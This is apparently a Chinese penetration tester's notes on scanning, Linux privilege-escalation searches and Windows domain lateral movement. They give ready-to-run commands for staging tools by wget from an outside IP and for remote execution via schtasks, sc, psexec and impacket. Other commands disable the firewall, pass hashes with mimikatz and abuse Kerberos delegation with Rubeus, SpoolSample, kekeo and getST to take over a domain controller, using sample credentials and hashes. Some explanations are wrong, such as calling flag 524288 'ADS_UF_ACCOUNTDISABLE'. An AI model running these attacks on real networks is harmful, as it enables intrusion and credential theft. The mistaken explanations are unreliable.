渗透技巧小记录
渗透技巧小记录
Nmap常用命令
1 | nmap 192.168.0.1/24 //扫描网段下的地址 |
Fscan常用命令
1 | fscan -h ip |
提权查找
sudo -l
suid提权
1 | find / -user root -perm -4000 -print 2>/dev/null |
capabilities提权
https://www.cnblogs.com/f-carey/p/16026088.html
1 | getcap -r / 2>/dev/null |
Wfuzz
爆破子域名
1 | wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.131.132' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 489,27 |
传frp+fscan
1 | wget http://101.34.80.152:8080/fscan |
wordpress插件利用
1 | wpscan --url http://172.22.2.18 |
内网横向小技巧
1 | 注:以下内容转载于https://forum.butian.net/share/3680 |
在正常情况中,横向移动是在已经获取了足够的权限的情况下进行横向移动,下面中的方法大部分也需要高权限的操作。
内网横向移动分为三种情况:
1.在VPN环境中进行横向移动;
2.在socks代理环境中进行横向移动;
3.在远程木马的环境中进行横向移动;
计划任务
使用VPN和socks方式执行方式相同。
一般来说,需要获取到管理员的凭据才可以进行计划任务的执行。
通过搭建SMB服务器或者建立共享连接,使目标机器下载运行脚本,然后建立计划任务来执行脚本加载木马等。
当目标系统版本<window2012时,使用at:
1 | net use \192.168.3.21\ipc$ “Admin12345” /user:god.org\administrator # 建立ipc连接 |
当目标系统版本>=windows2012时,使用schtasks:
1 | net use \192.168.3.32\ipc$ “admin!@#45” /user:god.org\administrator # 建立ipc连接 |
/s:指定要链接的系统;/ru:指定计划任务运行的用户权限;/tn:指定创建的计划任务的名称;
/sc:指定计划任务执行的频率;/tr:指定计划任务运行的程序路径;/F:如果指定任务存在,则强制创建;
/mo:指定计划任务执行周期;
1 | schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态 |
注意计划任务执行的程序是在后台执行,没有回显。
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。
计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。
- Microsoft-Windows-TaskScheduler/Operational:这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器(Event Viewer)中找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。
- Microsoft-Windows-TaskScheduler/Maintenance:这个事件日志用于记录计划任务的执行情况,包括任务的开始、完成和错误信息等。同样,在Windows事件查看器中,你可以找到这个日志。路径为:Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。
安全性考虑:计划任务虽然是在远程执行,但是会在目标主机建立一个计划任务进程,并且该进程也会在目标主机执行文件,这些行为都会在目标主机留下日志记录,因此较为危险。
系统服务
使用VPN和socks方式执行方式相同。
还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或者命令。
这样的方式需要两端主机的管理员权限。
1 | sc \[主机名/IP] create [servicename] binpath= “[path]” #创建计划任务启动程序 |
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
启动服务
1 | sc \10.10.10.10 start bindshell |
删除服务
1 | sc \[host] delete [servicename] #删除服务 |
我们还可以通过设置服务来关闭防火墙:
1 | sc \WIN-ENS2VR5TR3N create unablefirewall binpath= “netsh advfirewall set allprofiles state off” |
在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。
系统服务方面的日志也会留下痕迹。
安全性考虑:使用创建系统服务的方式,会在远程主机上创建服务,会在目标主机留下日志记录,因此较为危险。
PSEXEC
使用VPN和socks方式执行方式相同。
psTools
psexec是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe”的二进制文件,然后注册名为“PSEXEC”服务,当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。
因此,运行psexec需要的条件:
1.目标主机开启Admin$共享;
2.开启139或者445端口,以运行SMB;
3.需要目标主机的权限,创建服务;
PsExec.exe -accepteula \192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe
-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
-u:用户名
-p:密码
-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
impacket包
Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。
1 | python psexec.py [[domain/] username [: password] @] [Target IP Address] |
# 通过哈希密码连接获得目标域用户交互式shell
1 | python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[administrator@192.168.3.21](mailto:administrator@192.168.3.21) |
python文件和exe文件的命令相同。
使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。
事件ID:7045
使用官方的PSEXEC TOOLS
使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)
[![img](./../images/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E5%B0%8F%E6%80%BB%E7%BB%93/1688957175059-7aabcefd-37ad-44c4-af27-9b27bd4522f3-1727404691133-7-1727405866971-696.png
安全性分析:psexec在执行时不仅会上传一个文件,还会创建一个服务,这些都是会被目标主机进行日志记录的,因此比较危险。
linux进行横向渗透
一般在linux中进行横向渗透,使用Impacket 工具包进行渗透,其中为python脚本。
wmiexec.py
它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。
1 | python wmiexec.py [[domain/] username [: password] @] [Target IP Address] |
在域控主机会留下登录的日志,但是在socks隧道的客户端主机不会留下登录的日志。
psexec.py
Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。
1 | python psexec.py [[domain/] username [: password] @] [Target IP Address] |
# 通过哈希密码连接获得目标域用户交互式shell
1 | python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[administrator@192.168.3.21](mailto:administrator@192.168.3.21) |
使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。
事件ID:7045
使用官方的PSEXEC TOOLS
使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)
smbexec.py
通过明文密码连接获得目标本地用户交互式shell
1 | python smbexec.py .VVVV1/admins:User!@#[45@10.10.10.10](mailto:45@10.10.10.10) |
通过哈希密码连接获得目标域用户交互式shell
1 | python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/[administrator@192.168.3.21](mailto:administrator@192.168.3.21) |
连接域控的话,会在域控上产生登录日志,不会在搭建socks隧道的客户端产生日志。
并且,执行smbexec会上传一个bat文件,并且开启一个服务BTOBTO来执行命令并且将bat文件删除,达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。
Windows横向渗透
使用Impacket 工具包的exe版本,执行命令的语法与上面相同。
执行脚本所留下的日志痕迹也与上文中的类似。
哈希传递攻击
mimikatz
使用VPN和socks方式执行方式相同。
man1:0ec4b410903c6dc7594464f27d347497
admins: 0ec4b410903c6dc7594464f27d347497
administrator:ad5a870327c02f83cb947af6a94a4c23
ad-2016$: 99ac70cee2d4370638397a39c71db91d
使用mimikatz进行hash传递攻击,将域管理员账户的hash注入到lsass进程中。
1 | privilege::debug |
但是在socks代理的情况下,将hash注入到域外的主机中,无法解析dns,也无法知道域控的位置,只能通过指定ip的方式来进行操作。
使用dir等的操作时也会在域控中有日志体现。
委派攻击
在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,需要服务B上属于自己的数据,最简单的方式就是A代替用户去请求B返回相应的信息,这个过程就是委派。
委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
非约束委派攻击
非约束委派的请求过程如下图
这里我们可以了解,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务,总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候,就会将自己的TGT发送到该服务所在的计算机上,然后该计算机会保存其TGT至内存中。
也就是说,如果域内一台主机存在非约束委派,经过一系列的渗透操作,我们拿下了这一台存在非约束委派的主机,那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,就可以直接提取到域管理员的TGT,从而利用该TGT接管域控。
查找非约束委派主机
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
ADfind
(需要上传到域内一台成员主机中运行)
AdFind.exe -b “DC=vvvv1,DC=com” -f “(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))” cn distinguishedName
- -b “DC=vvvv1,DC=com”:指定了要搜索的 Active Directory 的基本搜索路径(基准 DN)。这里的示例是域名为 vvvv1.com 的域。”DC” 表示域组件。
- -f “(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))”:指定了过滤器,以筛选符合条件的对象。该示例的过滤器使用了两个条件:
samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
- 0x30000000 (805306368):表示用户对象(User)
- 0x30000001 (805306369):表示计算机对象(Computer)
- 0x30000002 (805306370):表示组对象(Group)
- 0x30000003 (805306371):表示域本地组对象(Domain Local Group)
- 0x30000004 (805306372):表示全局组对象(Global Group)
- 0x30000005 (805306373):表示通用组对象(Universal Group)
userAccountControl:1.2.840.113556.1.4.803:=524288:通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 “ADS_UF_ACCOUNTDISABLE” 标志,用于检查用户帐户是否禁用。
- cn distinguishedName:指定要返回的属性列表。该示例中返回了 cn(常规名称)和 distinguishedName(唯一名称)属性。
LdapSearch
(linux下,在socks代理的环境下可以使用,需要指定账号密码)
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D “man03@vvvv1.com“ -w “User!@#45” -b dc=vvvv1,dc=com “(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))” cn distinguishedName
- -LLL:以 LDIF 格式(LDAP Data Interchange Format)输出结果,去除注释和版本信息。
- -x:使用简单身份验证(Simple Authentication),即使用明文密码进行身份验证。
- -H ldap://192.168.124.142:389:指定要连接的 LDAP 服务器的主机和端口。在这个示例中,LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上,使用默认端口 389 进行通信。
- -D “administrator@test.com“:指定用于绑定(bind)到 LDAP 服务器的用户 DN(Distinguished Name)。在这个示例中,绑定的用户为 administrator@test.com。
- -w “123”:指定与绑定用户关联的密码。
- -b dc=test,dc=com:指定要搜索的基准 DN(Base DN),即搜索的起始点。在这个示例中,基准 DN 是 dc=test,dc=com,表示搜索域为 test.com。
- “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))”:指定了搜索过滤器,以筛选符合条件的对象。该示例中的过滤器使用了两个条件:
- samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
- msds-allowedtodelegateto=*:筛选具有非空 msds-allowedtodelegateto 属性的对象。
- cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表。该示例中返回了 cn(常规名称)、distinguishedName(唯一名称)和 msds-allowedtodelegateto 属性。
powerview
(需要上传powerview进入目标靶机)
1 | Powershell -ExecutionPolicy Bypass |
非约束委派利用
利用环境
域控:AD-2016
普通成员主机:WSUS-PC(配置非约束委派)
域管账户:VVVV1\administrator
由上面的原理我们可以知道,一台主机配置了非约束委派之后,域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,都会将对应的TGT保存到该主机的LSASS进程中,我们就可以通过工具进行导出TGT来注入内存,获取域内高权限,从而接管域控。
这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。
- 未注入前权限
- 使用域控或者域管账户对WSUS-PC机器进行kerberos认证
在域控上使用机器名进行net use建立共享进行kerberos认证。
1 | net use \WSUS-PC.vvvv1.com\ipc$ # dir \WSUS-PC.vvvv1.com\c$ |
经过此次连接后,Administrator的凭证已经留在机器WSUS-PC上了。
- 使用mimikatz导出TGT,并选择高权限TGT注入内存
1 | privilege::debug #导出票据 |
klist
发现权限提升,接管域控。
总结思路
- 通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。
- 通过渗透手段拿下目标机器权限。
- 诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。
- 利用成功后,域控或域管的TGT被注入LSASS进程,使用mimikatz等工具导出本地TGT。
- 获取到高权限TGT,使用mimikatz等工具将高权限的TGT注入内存,接管域控。
利用Spooler服务漏洞进行攻击
https://blog.csdn.net/a3320315/article/details/106511098
https://blog.csdn.net/qq_44159028/article/details/124014421
在特定情况下,如果域控开启splooer服务,可以利用splooer服务让域控主动连接。Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。
- Rubeus对域控机器账户监听
以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。
1 | **Rubeus.exe monitor /interval:1 /filteruser:ad-2016$** |
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
# DC$为域控的主机名字加$
- 利用spoolsample工具强制让域控机向本机验证身份
以当前域用户身份运行spoolsample。
注意:需要关闭防火墙,否则无法抓取到TGT。
1 | spoolsample.exe ad-2016 wsus-pc |
# 表示利用打印服务强制让域控机向wsus-PC主机验证身份,这样通过Rubeus就可以监听抓取到TGT了
- 格式处理,获得票据
因为获取到的TGT前后存在换行和空格,这里我们使用python简单进行处理。
1 | data ='' |
使用powershell将其转为正常的票据
[IO.File]::WriteAllBytes(“C:\Users\16229\Desktop\1.kirbi”, [Convert]::FromBase64String(“TGT_data”))
注意:生成路径需要绝对路径
生成票据1.kirbi后直接导出即可。
使用mimikatz或者Rubeus导入TGT。
kerberos::ptt 1.kirbi
或者使用Rubeus直接导入
Rubeus.exe ptt /ticket:TGT_data
注意,这里获取的TGT实际上是DC的机器账户,而机器账户是没有相应权限访问cifs服务的,但是在LDAP服务中,机器账户会被当做域控主机,从而可以DCSync。
利用DCSync可以导出域内hash,制作黄金票据来进行权限提升与维持,这里就不多赘述了。
委派攻击
对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。
约束性委派有两种:一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。
(1)仅使用Kerberos
- 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(2)使用任何身份验证协议
- 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
约束性委派的流程
为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST
[![img](./../images/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E5%B0%8F%E6%80%BB%E7%BB%93/1692688864663-669582d4-d190-4354-935e-eadf076beca5-1727404691133-37-1727405866971-725.png
- 用户A访问service1;
- service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST,这个ST代表域控授权service1可以以用户A的身份进行操作;
- service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST,而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST;
- service1获取到ST并以用户A的名义访问service2;
也就是说,如果获取了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用此ST便可以伪造任意用户请求获取service2的ST。
(注意:可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务,以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后,该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下,这个票据只能在颁发它的服务上使用,这样就是不可转发的服务票据。但是,在约束委派中,获取到的服务自身的ST可以将用户的票据转发给其他服务,以便用户无需重新进行身份验证,直接在其他服务上使用之前获得的票据。)
查找约束委派主机
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
AdFind
//查询域内具有约束委派的机器账户
AdFind.exe -b “DC=vvvv1,DC=com” -f “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
AdFind.exe -b “DC=vvvv1,DC=com” -f “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
LdapSearch
//查询域内具有约束委派的机器账户
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D “administrator@vvvv1.com“ -w “admin!@#4567” -b dc=vvvv1,dc=com “(&(samAccountType=805306369)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D “administrator@vvvv1.com“ -w “admin!@#4567” -b dc=vvvv1,dc=com “(&(samAccountType=805306368)(msds-allowedtodelegateto=*))” cn distinguishedName msds-allowedtodelegateto
PowerView
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
//查询域内具有约束委派的机器账户
Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
约束委派利用
因为S4U2self是service代表用户请求的自身可转发的ST,因此如果要配置域内账户进行约束委派,需要对该账户配置SPN。
查看域内所有SPN
setspn -Q /
查看单个主机的SPN
setspn -L ad-2016$
配置SPN
setspn -u -s host/weipai wp
- -u: 指定要设置 SPN 的帐户。在此命令中,-u 参数指示要设置名为 “wp” 的帐户的 SPN。
- -s: 指定要添加或更改 SPN 记录。在此命令中,-s 参数表示要添加一个新的或更改现有的 SPN 记录。
- host/weipai: 这是 SPN 的格式部分之一,用于标识服务和主机。在这个例子中,”host/weipai” 被用作服务和主机名。请注意,这是一个示例,具体的服务和主机名应根据您的实际情况进行调整。
- wp: 这是要设置 SPN 的帐户名。在这个命令中,”wp” 是指定要设置 SPN 的帐户的名称。
综上所述,setspn -u -s host/weipai wp 命令将为 “wp” 帐户添加一个新的 SPN 记录,并将其关联到 “host/weipai” 服务和主机。这样,在系统进行身份验证和授权时,可以正确地识别 “wp” 帐户,并将其与特定的服务和主机相关联。
攻击方式一
首先我们需要获取到服务账户的NTLM-HASH,用来制作TGT,通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派,使用其对应的机器账户即可)。
使用工具Kekeo生成服务账户的TGT
tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567
这一步包括两个步骤:
1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST;
2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST;
(注意,伪造的用户需要是经过KDC备案的用户。另外,如果伪造的用户不具备其他服务的权限,那么即使成功委派该服务,生成了票据并注入内存也无法成功访问,因此最好直接伪造administrator用户)
伪造无权限的man03用户
tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com
发现成功生成ST
kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
导入ST后,发现并没有权限访问域控的CIFS服务
伪造有权限的administrator用户
tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com
导入ST后,可以直接访问域控的CIFS服务
kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
当然,导入票据之后,具有了域控的CIFS权限,就可以直接使用psexec直接连接即可
psexec.exe \ad-2016.vvvv1.com cmd.exe
在这里注意一个点,使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。
因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。
但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。
然后使用impacket工具包即可直接连接。
python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass
攻击方式二
当然,也可以直接使用mimikatz导出机器账户的TGT,这样就不需要生成TGT了。
sekurlsa::tickets /export
接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST,然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com
再通过mimikatz导入票据即可
kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
然后可以使用官方的psexec进行连接
PsExec64.exe \ad-2016.vvvv1.com cmd.exe
攻击方式三
直接利用Rubeus进行攻击
Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt
已经可以直接使用psexec连接了
PsExec64.exe \ad-2016.vvvv1.com cmd.exe
攻击方法四
python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567
set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache
python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk
总结
约束委派和非约束委派的区别
1.委派任何服务即为非约束委派,委派特定的服务即为约束委派;
2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证,并且需要通过认证,非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用;
而约束委派是在获取到配置了约束委派的主机后,通过伪造S4U来请求主机或者服务账号本身的可转发的ST,然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST;
3.非约束委派需要完成整个kerberos认证,因此需要其他主机主动进行认证,而约束委派只需要备案在KDC中的用户名即可,因此可以进行伪造用户请求,不需要其他主机主动进行认证;
4.使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。
基于资源的约束委派
基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身–基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。
流程如下
- 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT;
- 服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的;
- 服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST;
- 服务A用上一步获得可转发ST访问服务B;
利用条件
由上文我们可以知道,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限。
在域控上执行,查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性
AdFind.exe -f “&(objectcategory=computer)(name=PC-2016)” msDS-AllowedToActOnBehalfOfOtherIdentity
默认情况下没有该属性
谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令,查询PC-2016机器的ACL,看哪些用户修改属性的权限
AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;”WRT PROP”;;;
如图所示,这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
VVVV1\WP:该用户为将该机器加入域的用户;
VVVV1\Cert Publishers:该用户组是用于授权和管理证书发布人的;
NT AUTHORITY\SELF:该用户是机器账户自身;
BUILTIN\Administrators:该用户组的是 Windows 操作系统中的一个内置用户组,包含了本地计算机上具有管理员权限的用户和组;
或者配置写入权限,也可以修改账户属性;
实际上,我们可以忽略VVVV1\Cert Publishers组,因为该组默认是不存在用户的。
机器账户自身和管理员组可以修属性不难理解,但是为什么VVVV1\WP用户可以修改属性呢?
这里我们需要明白的是,非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内,如果使用某个域用户将一台机器加入域内,那么这个域用户也就拥有了可以修改对应机器的属性的权限。
另外,域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了,S4U2Self只适用于具有SPN的账户,而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,因此可以直接利用。
基于资源的约束性委派的优势
- 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限;
- 约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林;
约束性委派和基于资源的约束性委派配置的差别
- 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST;
- 而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的;
基于资源的约束性委派攻击
该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证;
但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷;
因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户;
最后,我们总结几个利用的条件:
- 操作系统版本大于Windows Server 2012;
- 拥有一个普通域用户权限,用于创建服务账户(直接使用一个服务账户也可以);
- 拥有一个域用户权限,且该用户具有可以修改目标机器属性的权限(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
查询基于资源的约束委派的主机或服务账户
AdFind
利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。
查询域中配置了基于资源的约束性委派的主机
Adfind.exe -b “DC=vvvv1,DC=com” -f “(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))” msDS-AllowedToActOnBehalfOfOtherIdentity
